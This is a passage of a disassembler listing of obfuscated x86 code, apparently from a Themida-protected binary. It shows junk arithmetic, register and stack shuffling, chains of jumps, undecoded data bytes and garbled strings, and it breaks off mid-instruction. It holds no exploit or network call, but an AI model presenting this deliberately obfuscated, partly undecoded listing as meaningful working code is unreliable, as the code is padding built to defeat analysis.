5BDA3026h dd 0BCE9A004h, 8300005Ch, 31E904C5h, 66FFFF39h, 5BDA2858h dd 148BD520h, 4DA9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562146: ; CODE XREF: Themida_:0055CD9Aj pop esi mov ebx, esi mov esi, [esp] add esp, 4 pop edi sub ebx, 17D70D36h add ebx, edi push edx mov edx, 17D70D36h add ebx, edx pop edx jmp loc_5603D9 ; --------------------------------------------------------------------------- dw 0B468h dd 8900007Dh, 4BE2434h, 56000000h, 7A8FB850h, 7ABE6F44h dd 29D9E9B6h, 2F23E9C6h, 0EB28FFFFh db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, esp push eax mov eax, 73C437CAh sub eax, 299C5F6Ch push esi mov esi, 4A27D85Ah sub eax, esi pop esi add ebx, eax pop eax sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov ch, 9Fh push ebx mov bh, 53h xor bh, 57h xor bh, 0B4h not bh add bh, 35h jmp loc_55994B ; --------------------------------------------------------------------------- loc_5621DA: ; CODE XREF: Themida_:0055E546j add esp, 4 push dword ptr [esp] mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_552F81 ; --------------------------------------------------------------------------- dw 262Dh dd 5E73C11Bh, 0FF66C331h, 9B1E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56220A: ; CODE XREF: Themida_:0055F9E4j mov edi, 33525E20h jmp loc_55C053 ; --------------------------------------------------------------------------- dd 5E2434FFh, 0E9E68956h, 0FFFF401Ch ; --------------------------------------------------------------------------- loc_562220: ; CODE XREF: Themida_:0055F450j mov [esp], ebx jmp loc_5657E5 ; --------------------------------------------------------------------------- dd 1337BD55h, 0E5C148DEh, 81DDF704h, 1ECC8CEDh, 5DEE0172h dd 4C681h, 34330000h, 24343124h, 5C243433h, 8904EC83h dd 0E789243Ch, 4BD55h, 0EF010000h, 0ECE9555Dh, 5DFFFF52h dd 4C581h, 0C5830000h, 242C3304h, 33242C31h, 0E95C242Ch dd 0FFFF7149h, 169F6CBFh, 8BFD319Ch, 0C483243Ch, 0AE5DE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56228E: ; CODE XREF: Themida_:005635D1j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_567ED4 ; --------------------------------------------------------------------------- dd 0C1DFF75Ah, 0BE5605EFh, 4735C5CBh, 0DDE9F701h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5622AF: ; CODE XREF: Themida_:00564D15j mov ebx, 0E62ADA18h add ebx, edi pop edi jmp loc_5657B2 ; --------------------------------------------------------------------------- loc_5622BC: ; CODE XREF: Themida_:0055AC92j mov eax, 2DF83169h not eax neg eax push edi mov edi, 13583F2Dh and eax, edi pop edi sub eax, 8F660BE1h jmp loc_563C78 ; --------------------------------------------------------------------------- loc_5622D8: ; CODE XREF: Themida_:0055F1ADj add esp, 4 xor ebp, 27E431AFh add edx, 0B5F0BFAh add edx, 1C3A4C97h jmp loc_55ECBC ; --------------------------------------------------------------------------- dw 0D629h dd 0DBA525Ah, 0E913ED03h, 2082h ; --------------------------------------------------------------------------- loc_562300: ; CODE XREF: Themida_:005572E7j pop dx or dh, ah jmp loc_556F8F ; --------------------------------------------------------------------------- db 50h, 0B4h, 2 dd 75E9E130h, 89FFFF5Ah, 2DB82404h, 0E97B8E6Bh, 0FFFF0B4Eh dd 48CA6850h, 34890000h, 5AE95224h, 1FFFF6Ah, 243C8BFEh dd 8104C483h, 4C6h, 9286E900h, 0C281FFFFh, 7188071Fh, 5724048Bh dd 0C781E789h, 4, 0FF25ABE9h, 4C683FFh, 5C243487h, 0FF110FE9h dd 241C8BFFh, 8304C483h, 1C8904ECh, 44FBBB24h, 3FE960DEh db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56237B: ; CODE XREF: Themida_:00556687j push ecx sub esp, 4 mov [esp], eax push 643267E2h push dword ptr [esp] pop eax push ebx mov ebx, esp push ecx mov ecx, 137812ADh not ecx jmp loc_5616B7 ; --------------------------------------------------------------------------- byte_56239B db 30h ; DATA XREF: Themida_:005529ACo dd 14322414h, 6472E924h, 0E789FFFFh, 4C781h, 0BE560000h dd 4, 3151E9h, 2434FF00h, 149AE9h, 24248B00h, 8B24048Fh dd 34FF2424h, 9606E924h, 0C209FFFFh, 81DAF758h, 0D8769CF2h dd 0FEF28159h, 89D1D4F4h, 3BE95AD1h, 81000000h, 342E03EAh dd 6AC28173h, 8135D458h, 0F53820EAh, 5ECA8166h, 0E9223110h dd 218Dh, 0D907ACBFh, 0E5C78139h, 81626A10h, 0E03FE6EFh dd 1BB0E93Bh, 14300000h, 795E924h, 0CF01FFFFh, 0FFAD68E9h dd 0E9FB29FFh, 4909h, 0E9241C89h, 9Fh, 5A968h, 24148900h dd 0C281E289h, 4, 0FF413AE9h, 4EB83FFh, 0FF8445E9h, 0B3E953FFh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56245F: ; CODE XREF: Themida_:0055C6F5j and edx, 185E0888h xor edx, 69DE4CF8h sub eax, 5A2B0BB9h sub eax, edx add eax, 5A2B0BB9h mov edx, [esp] push esi push esp pop esi jmp loc_5542D7 ; --------------------------------------------------------------------------- dw 454Dh dd 0F14ED81h, 1AE95A76h, 100003Dh, 0C7835DEFh, 243C8704h dd 0E924248Bh, 0FFFFB75Ch, 48BF575Dh, 525E9A5Ah, 80867BAh dd 0E9D00140h, 0FFFF4F51h, 4C281h, 0EC830000h, 14BCE904h dd 58660000h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx jmp loc_563B0E ; --------------------------------------------------------------------------- aZLISxr db '┤<$▀$$┴<$И∙R',0 dw 8100h dd 2135242Ch, 815E43F7h, 0F72135C6h, 4E95B43h, 5500000Ch dd 0FF52F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5624F5: ; CODE XREF: Themida_:005640F6j mov esi, eax jmp loc_55E19E ; --------------------------------------------------------------------------- dd 0E95AD701h, 0FFFF2CEDh, 88BA525Dh, 815BA80Dh, 0D3401F2h dd 6C2816Fh, 31E8FD09h, 2DE95AD6h, 29FFFFE4h, 5308244Ch dd 0AA5A66BBh, 245C014Eh, 0C8B5B0Ch, 4C48124h, 0E9000000h dd 0FFFF7320h ; --------------------------------------------------------------------------- loc_56253C: ; CODE XREF: Themida_:005632EEj mov edx, [esp] jmp loc_5531A8 ; --------------------------------------------------------------------------- loc_562544: ; CODE XREF: Themida_:0055955Dj mov edi, 1F662E69h jmp loc_558C8F ; --------------------------------------------------------------------------- dw 0C33h dd 0CBE95C24h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562557: ; CODE XREF: Themida_:00563AD2j pop ebx jmp loc_56589E ; --------------------------------------------------------------------------- loc_56255D: ; CODE XREF: Themida_:0056036Aj push 6E98h mov [esp], edx jmp loc_55C827 ; --------------------------------------------------------------------------- loc_56256A: ; CODE XREF: Themida_:0055E1B9j push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 jmp loc_559ABF ; --------------------------------------------------------------------------- dw 2BAh dd 1000000h, 2434FFD1h, 0FF48D5E9h, 8DE959FFh db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562593: ; CODE XREF: Themida_:0055688Cj mov edx, [esp] add esp, 4 push 20C1h mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp push ebx mov ebx, 13475D0Ch inc ebx jmp loc_55C6FA ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0B1E9565Ch, 8900000Ch, 2B9240Ch, 1000000h, 348759CEh dd 4285C24h, 0E4E99C24h db 5, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625D7: ; CODE XREF: Themida_:0055B485j add esp, 4 sub esp, 4 jmp loc_55C2D5 ; --------------------------------------------------------------------------- loc_5625E5: ; CODE XREF: Themida_:0055909Aj add edx, 6B806E0Eh jmp loc_5664E5 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F58h, 0E924248Bh, 0FFFFDF0Ah ; --------------------------------------------------------------------------- loc_562600: ; CODE XREF: Themida_:00562B17j add ebx, 4 add ebx, 4 jmp loc_556F87 ; --------------------------------------------------------------------------- dw 9068h dd 89000012h, 4BD242Ch, 53000000h, 0C381E389h, 4, 4EB81h dd 0EDE90000h, 0FFFFFFBEh, 59042474h, 8B24048Fh, 0F6682424h dd 89000020h, 4BE2434h, 1000000h, 0C2815EF2h, 4, 0FFEABDE9h db 0FFh ; --------------------------------------------------------------------------- loc_562655: ; CODE XREF: Themida_:00558C69j mov edx, 4 add ecx, edx push dword ptr [esp] pop edx add esp, 4 push edi mov edi, esp jmp loc_56286C ; --------------------------------------------------------------------------- dw 6659h dd 44E930FFh, 89FFFF05h, 4C381E3h, 83000000h, 1C8704C3h dd 3E95C24h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56268B: ; CODE XREF: Themida_:00555898j mov esi, 52847C49h inc esi sub esi, 0DA83C874h add ebx, esi jmp loc_560959 ; --------------------------------------------------------------------------- loc_56269E: ; CODE XREF: Themida_:00559015j xchg ebp, [esp] pop esp push 2C72h jmp loc_55F3A0 ; --------------------------------------------------------------------------- dd 42474FFh, 0F56DE958h, 0BF66FFFFh, 66510EBAh, 66212FB9h dd 55D8E181h, 73E98166h, 66416603h, 0AAE9F181h, 59CF0166h dd 0B3F78166h, 0C38166C8h, 29664E97h, 0EB8166FBh, 0E95F4E97h dd 253h, 8704C783h, 0E95C243Ch, 0FFFF04C3h, 0E95BDF31h dd 0FFFF1BF4h ; --------------------------------------------------------------------------- loc_562700: ; CODE XREF: Themida_:00565764j push dword ptr [esp] pop ebp jmp loc_5588C4 ; --------------------------------------------------------------------------- db 81h, 0F1h, 0E3h dd 0E9593D2Ch, 0FFFF8B1Dh ; --------------------------------------------------------------------------- loc_562714: ; CODE XREF: Themida_:00567D12j sub edx, 6C5B5DBBh sub ebx, edx jmp loc_55C20D ; --------------------------------------------------------------------------- db 57h, 0BFh, 24h dd 29EA5DB1h, 5C055FFAh, 2936EF46h, 465C2DD0h, 0C15A36EFh dd 80505E0h, 813BE1E6h, 872999EBh, 0C5E2E976h, 3489FFFFh dd 81E68924h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 2BF243Ch dd 50000000h, 3B133CB8h, 35E0D17Dh, 86E46FB2h, 2B7FEA81h dd 0C2290BB0h, 2B7FC281h, 0D3E90BB0h, 0DFFFF1Ch, 3EB12DC2h dd 53545B25h, 25CC056Fh, 0C229EFECh, 0F9C28158h, 16AE21Fh dd 0F9EA81CAh, 0E96AE21Fh, 0FFFF9077h ; --------------------------------------------------------------------------- loc_5627AC: ; CODE XREF: Themida_:00565679j xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 5E0123A6h and ecx, offset dword_5634B4 and ecx, 41302578h shl ecx, 4 dec ecx jmp loc_561DBC ; --------------------------------------------------------------------------- db 68h, 0A2h, 1Ah dd 11E901B4h, 81FFFF48h, 0C02358C6h, 18EE8114h, 810FED19h dd 23FD4EC6h, 0E9F029C2h, 2BDBh ; --------------------------------------------------------------------------- loc_5627F0: ; CODE XREF: Themida_:005616BDj add ecx, 5977464Ch jmp loc_553B66 ; --------------------------------------------------------------------------- db 0C1h dd 0BD5506E2h, 52073190h, 0FF5E0FE9h, 2C283FFh, 1FBB68h dd 24148900h, 1669E9h db 0 ; --------------------------------------------------------------------------- loc_562819: ; CODE XREF: Themida_:00562B7Dj push 169Ch mov [esp], eax push ebp jmp loc_55D5E6 ; --------------------------------------------------------------------------- loc_562827: ; CODE XREF: Themida_:0055BF0Bj mov eax, [esp] jmp loc_565CC4 ; --------------------------------------------------------------------------- loc_56282F: ; CODE XREF: Themida_:00558107j sub ebp, 4 xchg ebp, [esp] jmp loc_5679DB ; --------------------------------------------------------------------------- dw 1C89h dd 8BB55124h, 0FF6779E9h, 24048BFFh, 4C481h, 54680000h dd 8900000Ch, 0EC812414h, 4, 81242489h, 42404h, 0E95A0000h dd 0FFFF0C0Eh ; --------------------------------------------------------------------------- loc_56286C: ; CODE XREF: Themida_:00562669j add edi, 4 sub edi, 4 push edi jmp loc_560633 ; --------------------------------------------------------------------------- loc_56287E: ; CODE XREF: Themida_:0055E91Cj mov [esp], ecx mov ecx, 4 sub esp, 4 mov [esp], ebx mov ebx, ecx mov edi, ebx mov ebx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push eax mov eax, 572766E7h add [esp+8], eax pop eax jmp loc_566DBB ; --------------------------------------------------------------------------- dw 3C89h dd 4BF24h, 0ACE90000h, 68FFFF35h, 54C2h, 1E03E9h db 0 ; --------------------------------------------------------------------------- loc_5628C9: ; CODE XREF: Themida_:0055C52Fj sub esp, 4 jmp loc_5634CA ; --------------------------------------------------------------------------- dd 4C481h, 0C5010000h, 1FE1E9h db 0 ; --------------------------------------------------------------------------- loc_5628E1: ; CODE XREF: Themida_:00561A58j mov edi, edx pop edx sub ebp, 0EC0350Bh sub ebp, 287E1B70h add ebp, edi add ebp, 287E1B70h push edx mov edx, 54944A2Eh dec edx and edx, 1A7B7A60h inc edx sub edx, 294D6C62h xor edx, 7CEA73FBh add edx, 749786C7h jmp loc_5649CF ; --------------------------------------------------------------------------- db 0BAh, 3Ch, 67h dd 0D0311323h, 5A2434FFh, 57585450h, 4B850h, 0C7890000h dd 8324048Bh, 0F9E904C4h, 66FFFF18h, 665BDD09h, 372EED81h dd 0DB96651h, 0F1816605h, 0BCE91C52h, 8100001Bh, 0AB6EACC5h dd 0E9E80143h, 0FFFF3B59h dword_562964 dd 24048B66h, 81E28952h, 4ECh, 24048900h, 760BB5B8h, 4EC815Dh ; DATA XREF: Themida_:00552A68o dd 0E9000000h, 25FAh ; --------------------------------------------------------------------------- loc_562984: ; CODE XREF: Themida_:0055DA64j mov eax, 6CDF03DCh sub [esp+8], eax pop eax mov edx, [esp] push edi jmp loc_566821 ; --------------------------------------------------------------------------- loc_562997: ; CODE XREF: Themida_:0055D23Fj add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_563127 ; --------------------------------------------------------------------------- loc_5629AB: ; CODE XREF: Themida_:0055A4FBj pop esp jmp loc_55D76F ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 0E9000000h, 0FFFF7308h, 59C8295Ah, 0FF1C23E9h dd 0D8C281FFh, 8B4A3744h, 0C481240Ch, 4, 677AEA81h, 0E953BA85h dd 0FFFF48D7h, 348BF731h, 0E9545724h, 0FFFFA29Ch ; --------------------------------------------------------------------------- loc_5629F0: ; CODE XREF: Themida_:0055D611j mov esi, 4 jmp loc_55669F ; --------------------------------------------------------------------------- loc_5629FA: ; CODE XREF: Themida_:00553882j add edi, 4 jmp loc_55BB8C ; --------------------------------------------------------------------------- dw 0CE81h dd 41873E23h, 0FFFFC681h, 0C681FFFFh, 8C008092h, 8DEC781h dd 0F7015CE2h, 5714E9h db 0 byte_562A21 db 0ACh, 0E9h, 0F0h ; DATA XREF: Themida_:00552988o dd 0B8FFFF99h, 61F87758h, 0FF2630E9h, 50ED81FFh, 10238B1h dd 0C7815DEFh, 4, 5C243C87h, 8904EC83h, 8DB1240Ch, 0C0C4F180h dd 0C98004E1h, 0D4E98046h, 0E959CB28h, 0FFFFF9F9h ; --------------------------------------------------------------------------- loc_562A60: ; CODE XREF: Themida_:0055D499j pop eax sub eax, 0FFFFFFFFh not eax inc eax shr eax, 3 neg eax push 58D3h mov [esp], ebp mov ebp, 251F3E35h neg ebp add ebp, 0D1FE7711h jmp loc_5577DE ; --------------------------------------------------------------------------- aWichf5 db 'W┴ГhF5',0 align 10h dd 0FF89B4E9h, 0B85055FFh, 43445284h, 70E9C589h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562AA3: ; CODE XREF: Themida_:005638A9j mov eax, [esp] push ebp jmp loc_55A1AF ; --------------------------------------------------------------------------- loc_562AAC: ; CODE XREF: Themida_:0055A63Ej xchg ebp, [esp] jmp loc_55A565 ; --------------------------------------------------------------------------- dd 0EA295B5Dh, 83242C8Bh, 0B85004C4h, 53FB649Ch, 0E02B8725h dd 0FCB9E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562ACE: ; CODE XREF: Themida_:00566D1Ej xor [esp], esi xor esi, [esp] pop esp jmp loc_5592E0 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4EC81h, 34890000h, 835E5424h, 0A6E904ECh, 89FFFFB3h dd 4C381E3h, 0E9000000h, 0FFFFC488h ; --------------------------------------------------------------------------- loc_562B00: ; CODE XREF: Themida_:00564191j pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 0CDEh mov [esp], ebx mov ebx, esp jmp loc_562600 ; --------------------------------------------------------------------------- dword_562B1C dd 8B2434FFh, 0E9572404h, 0FFFFDE79h, 0AE7F2905h, 5F590511h ; DATA XREF: Themida_:00552B40o dd 0C6E97740h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B37: ; CODE XREF: Themida_:0055EF83j inc ebx shl ebx, 4 jmp loc_553555 ; --------------------------------------------------------------------------- dd 42474FFh, 40A1E95Eh, 0C481FFFFh, 4, 31242C33h, 2C33242Ch dd 5CE95C24h db 0, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B5F: ; CODE XREF: Themida_:00554AA3j mov bh, 16h xor dh, bh pop ebx sub bl, dh mov edx, [esp] add esp, 4 add bl, 4Ah movzx eax, al jmp loc_564D3B ; --------------------------------------------------------------------------- loc_562B7A: ; CODE XREF: Themida_:005543A3j add esp, 4 jmp loc_562819 ; --------------------------------------------------------------------------- dw 0C181h dd 59A76B74h, 0FFA45FE9h, 11C068FFh, 64E90000h, 29FFFFEEh dd 38859CBh, 0FF3AF3E9h, 5ABF57FFh, 8167B55Ch, 8C73BEC5h dd 81FD0126h, 8C73BEEDh, 525F5F26h, 4BAh, 0FFD50100h, 0E95A2434h dd 0FFFFCFFEh, 242C8B54h, 4C481h, 0BE560000h, 7A1C1EFDh dd 1EF9EE81h, 0C3E97A1Ch, 5300004Eh, 0FF955BE9h, 89CE89FFh dd 5AF8E9F3h, 1C8BFFFFh, 4C48324h, 0FF0891E9h db 0FFh byte_562BFD db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552AF0o dd 0FF1486E9h, 7FB450FFh, 0E3307BB3h, 4EC8158h, 89000000h dd 0CB62414h, 4DE9C6FEh, 50FFFF81h, 6627BE56h, 0F08976AEh dd 0FF5693E9h, 1EE950FFh db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C33: ; CODE XREF: Themida_:00552E0Ej push edx mov edx, 0C6A189F7h sub esi, 26E16B48h add esi, edx add esi, 26E16B48h pop edx add edx, esi pop esi xchg edx, [esp] pop esp xor eax, 53437086h or eax, eax jnz loc_55FB6E push eax push esi jmp loc_555391 ; --------------------------------------------------------------------------- db 1 dd 243C8BFEh, 3304C483h, 34312434h, 24343324h, 0D224248Bh dd 0E99C2424h, 0FFFEFF3Bh ; --------------------------------------------------------------------------- loc_562C80: ; CODE XREF: Themida_:00567D9Cj mov edx, 4 add esi, edx mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esi, 4 xchg esi, [esp] pop esp add edx, 50FB5471h pop ebp and eax, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_559116 ; --------------------------------------------------------------------------- loc_562CC1: ; CODE XREF: Themida_:00567B54j pop dword ptr [esp] mov esp, [esp] add esp, 4 jmp loc_564B02 ; --------------------------------------------------------------------------- loc_562CD2: ; CODE XREF: Themida_:0055B60Dj xor eax, edx jmp loc_565FC7 ; --------------------------------------------------------------------------- loc_562CD9: ; CODE XREF: Themida_:00561092j add ecx, 2 push ecx push dword ptr [esp+4] mov ecx, [esp] push eax jmp loc_55DC89 ; --------------------------------------------------------------------------- aTs1 db 'TИ1',0Ah,0 align 10h dd 490C4E35h, 736D2D05h, 6FE97B66h, 59FFFFB7h, 81242C8Bh dd 4C4h, 29D7E900h, 0EC83FFFFh, 570DE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D16: ; CODE XREF: Themida_:005597B0j xchg edi, [esp] pop esp push edx mov edx, esp jmp loc_567B42 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 68241C89h, 7B961352h, 83241C8Bh, 0A4E904C4h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562D3B: ; CODE XREF: Themida_:00566E66j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_556345 ; --------------------------------------------------------------------------- db 96h dd 0C631F031h, 0D6F7F031h, 0FFAB20E9h, 21C105FFh, 0A4683560h dd 8900007Bh, 5EBA2414h, 68092B1Eh, 310Ah, 0E9242C89h dd 3D95h, 0E99CC884h, 43FDh dword_562D88 dd 5A2434FFh, 8904EC83h, 5456242Ch, 4C6815Eh, 81000000h ; DATA XREF: Themida_:005529D8o dd 4ECh, 242C8900h, 5B2932BDh, 0EF2BE946h, 0D989FFFFh dd 5B2434FFh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 8324048Bh dd 815F04C4h, 4ECh, 0C6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562DD6: ; CODE XREF: Themida_:0055CEBCj pop ebp mov ebx, esi pop esi and ebp, ebx pop ebx push edi jmp loc_55F591 ; --------------------------------------------------------------------------- loc_562DE3: ; CODE XREF: Themida_:00568049j mov esi, 4 jmp loc_55B714 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C2h dd 669E7261h, 0EA81C201h, 669E7261h, 0E924048Bh, 0FFFFB6A2h dd 48BE588h, 4C48124h, 0 dd 982C58E5h, 0E800E704h, 0FEE9E72Ch, 50FFFF7Bh, 5039E952h dd 0C483FFFFh, 2434FF04h, 4C48159h, 55000000h, 0FF01DCE9h dd 0E9015FFFh, 0E9D9F75Dh, 0FFFF168Ah, 7B023768h, 0F748580Dh dd 264205D0h, 0F90561F2h, 89AB88DBh, 0FE0158C7h, 1D68525Fh dd 8900003Dh, 2B9240Ch, 50000000h, 1A4BE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E72: ; CODE XREF: Themida_:00556F82j mov ebp, [esp] push ebx push esp pop ebx add ebx, 4 jmp loc_554496 ; --------------------------------------------------------------------------- db 5Bh dd 4B951h, 0CE010000h, 0FF6F32E9h, 0D1EF81FFh, 0E94F85ACh dd 0FFFF7133h, 56241C89h, 0C5083268h, 24348B1Ch, 8104C483h dd 5D1C47EEh, 45EE8147h, 81394527h, 0C9AFACEEh, 0F7895732h dd 464DE9h, 24148B00h, 4C481h, 0E7D10000h, 47D7F747h, 3452E9h dd 0E95F6600h, 0FFFF7BCFh dword_562EE0 dd 592434FFh, 6A6CE957h, 3487FFFFh, 14875C24h, 3BE95C24h ; DATA XREF: Themida_:00552AB8o db 8Bh, 2 dup(0FFh) off_562EF7 dd offset dword_554E68 ; DATA XREF: Themida_:005528F0o align 4 dd 0E9241489h, 952h ; --------------------------------------------------------------------------- loc_562F04: ; CODE XREF: Themida_:0055EFEBj mov edx, 5ADF1BD2h jmp loc_563F09 ; --------------------------------------------------------------------------- dw 15Bh dd 240C8BCDh, 24BAE9h, 0BF6600h, 0EF296600h, 66FD8766h dd 212AE95Fh, 0EC830000h, 243C8904h, 6D70BEBFh, 47D7F71Ch dd 4026CF81h, 75E9244Eh, 83FFFF46h, 0E82802C4h, 240C8B66h dd 1DE76855h, 1BE90000h, 8BFFFF00h, 0F1F72424h, 263768h dd 24148900h, 50E99C50h, 66FFFEFCh, 48E99C50h, 50FFFEFCh dd 4B8h, 58C10100h, 0FFD431E9h, 0CC3A2DFFh, 0C22190D5h dd 42E2D158h, 67E8E281h, 0B8500989h, 77542A6Bh, 0C324E525h dd 8149E955h, 0E2C1FFFFh, 0D6E28104h, 56395A5Fh, 949B7BEh dd 65B85021h, 2973BD3Dh, 0FE958C6h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562FBF: ; CODE XREF: Themida_:005561C3j add esp, 4 push esi mov esi, edi mov edx, esi pop esi pop edi loc_562FC9: ; CODE XREF: Themida_:005582B3j ; Themida_:0056008Fj push esi push 0A47h mov [esp], ebx push edx push edi push 7BDB79A1h pop edi dec edi and edi, 67A52A80h not edi xor edi, 0ADC8EF0Fh mov edx, edi pop edi sub dword ptr [esp+4], 6FC42CA6h add [esp+4], edx add dword ptr [esp+4], 6FC42CA6h jmp loc_565EA9 ; --------------------------------------------------------------------------- db 5Fh, 2Dh, 4 dd 33000000h, 4312404h, 24043324h, 0E924248Bh, 0FFFF1D39h ; --------------------------------------------------------------------------- loc_56301C: ; CODE XREF: Themida_:0055859Cj xchg ebp, [esp] jmp loc_55EC1E ; --------------------------------------------------------------------------- dd 5BEE8146h, 0E97EC511h, 0FFFF24E9h, 4C481h, 0F3300000h dd 0EF58E95Ah, 0C830FFFFh, 4E19E9h, 87D58700h, 85C4E9D5h dd 0BB53FFFFh, 4, 9EE9D801h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56305B: ; CODE XREF: Themida_:0055F4FBj mov [esp], ebx push eax mov eax, 5F2F2FE6h jmp loc_565E63 ; --------------------------------------------------------------------------- loc_563069: ; CODE XREF: Themida_:0055FBA0j pop ecx jmp loc_5653BB ; --------------------------------------------------------------------------- loc_56306F: ; CODE XREF: Themida_:0055C718j pop ecx push ecx mov ecx, 575E30B1h sub edx, ecx pop ecx dec edx push esi mov esi, 5B32D5Bh jmp loc_55EE72 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 50E78957h, 0FF61D5E9h, 14C581FFh, 5E5B9D61h, 0DDEE815Fh dd 811F174Eh, 0ED2A11EEh, 81EE011Ah, 0ED2A11C6h, 0DDC6811Ah dd 0E91F174Eh, 0FFFF65EBh, 4247401h, 8124348Bh, 4C4h, 0BD555900h dd 1CA0503Fh, 0FFA1B1E9h, 405FFh, 4050000h, 0E9000000h dd 0FFFFB865h ; --------------------------------------------------------------------------- loc_5630E0: ; CODE XREF: Themida_:00559F86j mov [esp], ecx mov ecx, 37053330h push edi mov edi, 0BE960BEh jmp loc_5585EC ; --------------------------------------------------------------------------- db 81h dd 0F8042444h, 0E933205Dh, 0FFFF9DEAh ; --------------------------------------------------------------------------- loc_563100: ; CODE XREF: Themida_:00555EF3j mov esp, [esp] mov [esp], ebx mov ebx, 755F3568h jmp loc_5557CC ; --------------------------------------------------------------------------- dd 0E9240C31h, 0FFFF0633h ; --------------------------------------------------------------------------- loc_563118: ; CODE XREF: Themida_:00564A6Dj xchg edx, [esp] pop esp sub esp, 4 mov [esp], esi jmp loc_556B12 ; --------------------------------------------------------------------------- loc_563127: ; CODE XREF: Themida_:005629A6j pop esp and eax, ebp jmp loc_55AF2F ; --------------------------------------------------------------------------- loc_56312F: ; CODE XREF: Themida_:00553240j xor al, 51h add cl, 0D8h sub cl, 4Ah sub cl, al add cl, 4Ah sub cl, 0D8h push dword ptr [esp] jmp loc_56401D ; --------------------------------------------------------------------------- loc_563147: ; CODE XREF: Themida_:0055AF69j xor esi, eax xchg eax, edi jmp loc_5568B9 ; --------------------------------------------------------------------------- db 89h dd 0E0892404h, 4EA368h, 241C8900h, 1BB9E9h, 24048900h dd 42474FFh, 0E924048Bh, 4ADDh ; --------------------------------------------------------------------------- loc_563170: ; CODE XREF: Themida_:00553B4Cj push eax push ecx mov eax, [esp] jmp loc_55CAD2 ; --------------------------------------------------------------------------- loc_56317A: ; CODE XREF: Themida_:0055F769j mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] pop esp xor al, bl push dword ptr [esp] pop ebx add esp, 4 xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_552BBB ; --------------------------------------------------------------------------- dd 1CD7055Bh, 672D0C7Fh, 2D451661h, 2CD46C0h, 0FF7FB2E9h dd 596C04FFh, 3F24C0FEh, 0FE05E8C0h, 34D8F6C8h, 5BD80021h dd 8904EC83h, 0B753240Ch, 80DFF644h, 0E78014C7h, 0E9C7FEADh dd 0FFFFCF63h, 0FEF9DAE9h, 0A1BD55FFh, 0C14FAB2Bh, 0ED8107EDh dd 64CB4A93h, 5504EDC1h, 0E92414F7h, 0FFFFCB2Eh, 14EDE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563202: ; CODE XREF: Themida_:00563A5Aj sub eax, 0B882D78Fh mov ecx, eax pop eax add ebx, ecx push dword ptr [esp] pop ecx jmp loc_564667 ; --------------------------------------------------------------------------- loc_563215: ; CODE XREF: Themida_:0055E6DAj pop edx jmp loc_561777 ; --------------------------------------------------------------------------- db 5Fh dd 4950F781h, 51E93105h, 68FFFFACh, 204123A6h, 0E924348Bh dd 0FFFF2A3Eh ; --------------------------------------------------------------------------- loc_563234: ; CODE XREF: Themida_:00567678j neg edx or edx, 7CAE0905h push 5044h mov [esp], esi jmp loc_563AEE ; --------------------------------------------------------------------------- db 59h, 81h, 0ECh dd 4, 56240489h, 2F01CEBEh, 0CA7CE945h, 248BFFFFh, 398DE924h dd 4205FFFFh, 0E9577A24h, 0FFFFA104h, 0AE426168h, 4685E41h dd 8900006Ch, 0BDE9241Ch db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563283: ; CODE XREF: Themida_:00554A21j mov [esp], edx mov edx, 34BE7791h mov eax, 34BE7795h jmp loc_55364C ; --------------------------------------------------------------------------- loc_563295: ; CODE XREF: Themida_:00552DFCj or esi, 61787A08h inc esi push ecx mov ecx, 4D660422h sub esi, ecx pop ecx push 